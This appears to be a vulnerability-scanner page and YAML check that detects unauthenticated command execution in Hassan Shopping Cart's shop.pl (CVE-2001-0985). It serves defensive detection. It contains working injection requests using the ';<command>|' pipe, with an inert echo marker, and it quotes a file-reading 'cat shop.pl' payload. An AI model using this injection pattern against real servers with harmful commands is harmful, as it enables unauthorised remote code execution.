Hassan Shopping Cart — 1 vulnerability check
noctis ships 1 vulnerability check for Hassan Shopping Cart, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Hassan Consulting Shopping Cart shop.pl Command Execution
| CVE | CVE-2001-0985 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/hassan-shopping-cart/CVE-2001-0985.yaml |
Detects unauthenticated command execution in shop.pl, the Perl CGI of Hassan Consulting's Shopping Cart (CVE-2001-0985). The script reads the page name from the URL path (shop.pl/page=<name>) and opens it with Perl's two-argument open(), so a name such as `;<command>|` runs <command> through the shell as the web server user and prints its output in the page. The feed requests shop.pl under /cgi-local, /cgi-bin, /cgi_bin, /scripts and the web root with page=;echo NOCTIS`expr a - b`| (per-run random numbers), then, if the script answered without the marker, the same command written with $((a-b)). It reports only when the page contains NOCTIS followed by the computed difference, which only real shell execution can produce. Nothing is read or written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/shop.pl/page=;echo%20NOCTIS%60expr%20{{ov.a}}%20-%20{{ov.b}}%60| HTTP/1.0 - Checks
inj.bannerforNOCTIS→ finding QoD 97: shop.pl command execution confirmed via GET …/shop.pl/page=;echo NOCTIS`expr … - …`|: the shell printed NOCTIS… (a difference absent from t… - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/shop.pl/page=;echo%20NOCTIS%24%28%28{{ov.a}}-{{ov.b}}%29%29| HTTP/1.0 - Checks
inj2.bannerforNOCTIS→ finding QoD 97: shop.pl command execution confirmed via GET …/shop.pl/page=;echo NOCTIS$((…-…))|: the shell printed NOCTIS… (a difference absent from the r…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2001-0985
- https://www.exploit-db.com/exploits/21104
- http://www.securityfocus.com/bid/3308
Feed source — tests/vulnerabilities/hassan-shopping-cart/CVE-2001-0985.yaml
# Hassan Consulting Shopping Cart shop.pl `page` command execution (CVE-2001-0985, BID 3308)
#
# Credit: target paths and request shape adapted from Greenbone's
# `pre2008/shopping_cart_information_disclosure.nasl` (GPL-2.0-only), which
# sends GET <dir>/shop.pl/page=;cat%20shop.pl| for "/", /cgi-local, /cgi_bin
# and the CGI dirs, and reports when the reply holds a `#!/.../perl` line (the
# script's own source, printed by the injected `cat`).
# Exploit shape (Exploit-DB 21104, "Require %20 instead space"):
# GET /cgi-local/shop.pl/page=;<command>| HTTP/1.0
#
# Root cause: shop.pl takes the page name from PATH_INFO and opens it with
# Perl's two-argument open(); a value ending in `|` is run by /bin/sh as a read
# pipe, and the command's output is printed in the page. `;` ends the page-path
# prefix and starts any command as the web server user.
#
# This feed keeps the NASL's locations and its `;…|` pipe, with the command
# changed to an inert computed marker:
# 1. page=;echo NOCTIS`expr <a> - <b>`| (backticks + expr: every Bourne shell)
# 2. page=;echo NOCTIS$((<a>-<b>))| (only when 1 gave no marker and the
# script answered: a system without expr)
# a = 7-digit, b = 6-digit per-run random ints. The difference never appears in
# the request, so a page that reflects or strips the page name cannot produce
# it. `-` rather than `+`: the script's PATH_INFO decoding is unknown and may
# turn `+` into a space.
#
# Better than the source check: no file is read, and its `#!/.../perl` marker
# also matches a server that serves shop.pl as plain text whatever the path
# suffix (false positive); here only real shell execution yields the marker.
uid: a4bc1362-ac27-497a-b132-bc7c2acfe43c
name: "Hassan Consulting Shopping Cart shop.pl Command Execution (CVE-2001-0985)"
description: |
Detects unauthenticated command execution in shop.pl, the Perl CGI of Hassan
Consulting's Shopping Cart (CVE-2001-0985). The script reads the page name
from the URL path (shop.pl/page=<name>) and opens it with Perl's two-argument
open(), so a name such as `;<command>|` runs <command> through the shell as
the web server user and prints its output in the page. The feed requests
shop.pl under /cgi-local, /cgi-bin, /cgi_bin, /scripts and the web root with
page=;echo NOCTIS`expr a - b`| (per-run random numbers), then, if the script
answered without the marker, the same command written with $((a-b)). It
reports only when the page contains NOCTIS followed by the computed
difference, which only real shell execution can produce. Nothing is read or
written on the target.
cves: [CVE-2001-0985]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [hassan, shopping-cart, cgi, perl, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2001-0985"
- "https://www.exploit-db.com/exploits/21104"
- "http://www.securityfocus.com/bid/3308"
steps:
# a: 7 digits, b: 6 digits -> 7-digit difference, never equal to an operand.
- id: gen-tokens
action: script
code: |
let a = rand_int(5000000, 9999999);
let b = rand_int(100000, 999999);
#{ a: a, b: b, diff: "" + (a - b) }
store_as: ov
# ── Per location (the reference check's dirs + /cgi-bin, /scripts): this step and every following one ──
# Pre-initialised so a failed request leaves no undefined variable behind.
- id: init-expr
action: set_var
var_name: inj
var_value: {connected: false, banner: null}
loop:
over:
- "/cgi-local"
- "/cgi-bin"
- "/cgi_bin"
- "/scripts"
- ""
var: dir
- id: init-arith
action: set_var
var_name: inj2
var_value: {connected: false, banner: null}
# page=;echo NOCTIS`expr a - b`|
- id: inject-expr
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/shop.pl/page=;echo%20NOCTIS%60expr%20{{ov.a}}%20-%20{{ov.b}}%60| HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10 # connect only; the reply is read for 3 s (checks/tcp.rs)
store_as: inj
- id: confirm-expr
action: match
source: inj.banner
pattern: "NOCTIS"
condition: "type_of(inj.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", inj.banner)"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "shop.pl command execution confirmed via GET {{dir}}/shop.pl/page=;echo NOCTIS`expr {{ov.a}} - {{ov.b}}`|: the shell printed NOCTIS{{ov.diff}} (a difference absent from the request) in the page"
stop: true
# page=;echo NOCTIS$((a-b))| — only when the script answered (not 404) without the marker.
- id: inject-arith
action: tcp_connect
condition: "type_of(inj.banner) == \"string\" && ereg(\"^HTTP/1\\\\.[01] \", inj.banner) && !ereg(\"^HTTP/1\\\\.[01] 404\", inj.banner)"
port: "{{port}}"
send: "GET {{dir}}/shop.pl/page=;echo%20NOCTIS%24%28%28{{ov.a}}-{{ov.b}}%29%29| HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10 # connect only; the reply is read for 3 s (checks/tcp.rs)
store_as: inj2
- id: confirm-arith
action: match
source: inj2.banner
pattern: "NOCTIS"
condition: "type_of(inj2.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", inj2.banner)"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "shop.pl command execution confirmed via GET {{dir}}/shop.pl/page=;echo NOCTIS$(({{ov.a}}-{{ov.b}}))|: the shell printed NOCTIS{{ov.diff}} (a difference absent from the request) in the page"
stop: true